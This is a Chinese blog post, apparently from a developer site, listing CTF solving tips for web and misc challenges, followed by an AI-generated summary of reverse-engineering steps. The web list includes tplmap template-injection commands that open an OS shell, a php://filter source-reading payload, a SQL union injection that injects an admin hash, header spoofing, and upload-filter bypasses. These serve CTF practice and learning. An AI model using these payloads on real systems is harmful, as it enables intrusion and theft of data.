ctf解题思路

web解题
1.hack bar看下路径 模板注入{{1+1}} 
kali
python tplmap.py -u http://792.168.1.10:8000/?name=* 
python tplmap.py -u http://792.168.1.10:8000/?name=* --engine Nunjucks --os-shell
2.源码 看cookie session,读源码/index.php?page=php://filter/read=convert.base64-encode/resource=index.php   
3.发送到burp抓包,看头部,改下get post等 看302页面
4.目录扫描
5.sql注入,手动或sqlmap   
联合查询 name=1' union select 0,'admin','81dc9bdb52d04dc20036dbd8313ed055'%23&pw=1234
6.X-Forwarded-For: 10.1.10.1  Referer:https://www.sycsecret.com/ User-Agent: Syclover
7. .git 或者.swo获取源码 备份文件泄露 robots.txt www.tar.gz index.php.bak  source.zip
8.御剑扫描
9.漏洞利用 
10.密码修改的地方存在sql注入,或者改用户admin密码 二次注入:先注册有漏洞账号,然后登陆进去查看用户名改密码的地方。
11.文件包含 php://filter/convert.base64-encode/resource=flag.php
12.unicode欺骗 nodeprep.prepare(username)
13.文件上传 ?php3 4 5 7 phtml phps pht
14.fuzz一下 看哪些没被过滤
15.盲注
16.堆叠注入
17.上传 .htaccess content-type 改为image/jpeg

misc解题
1.图片 zip的伪加密 分离图片 爆破密码 备注可能有密码
2.编码 大小写转换
3.steghide -sf good.jpg
4.formost 流量包 图片 xls 等
5.视频隐写 pr 新建序列,拖动视频,双击效果,打开窗口 效果控制 调节亮度或者灰度
6.binwalk -e 有时候formost不好用
7.crc32错误,脚本运行生成宽高 
8.添加gif文件头
9.NTFS流隐藏文件

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
C知道:ctfreverse题型是指需要逆向分析的CTF题目类型。解题思路可以分为以下几个步骤: 1. 静态分析:首先,将给定的二进制文件进行静态分析,使用反编译工具(如IDA Pro)来查看代码的逻辑结构和函数调用关系。这可以帮助你理解程序的工作原理和逆向逻辑。 2. 动态调试:将程序加载到调试器(如GDB)中,以动态调试的方式执行程序。通过设置断点、查看寄存器和内存状态,以及跟踪程序执行流程,可以帮助你理解程序的运行过程和数据处理方式。 3. 逆向逻辑分析:根据程序的静态分析和动态调试结果,分析程序的逆向逻辑。这包括理解输入数据的处理方式、算法和加密机制等。你可以关注特定的代码块或函数,并尝试弄清楚它们的功能和目的。 4. 寻找漏洞或关键信息:在逆向逻辑分析的过程中,要留意可能存在的漏洞或关键信息。这可能是一些硬编码的密码、密钥或验证条件等。寻找这些信息有助于解决问题或绕过验证。 5. 反向运算或解密:根据逆向逻辑和找到的关键信息,尝试进行反向运算或解密。这可能涉及到逆向算法、还原加密操作或破解密码等。使用逆向工具或编写自定义脚本来实现这些操作。 总之,ctfreverse题型的解题思路是通过静态分析和动态调试来理解程序的逆向逻辑,寻找漏洞或关键信息,并进行反向运算或解密来获取答案或绕过验证。这需要一定的逆向工程技术和经验,因此平时的学习和实践是非常重要的。希望这个解题思路对你有所帮助!如果有其他问题,欢迎继续提问。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

龙族战神

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值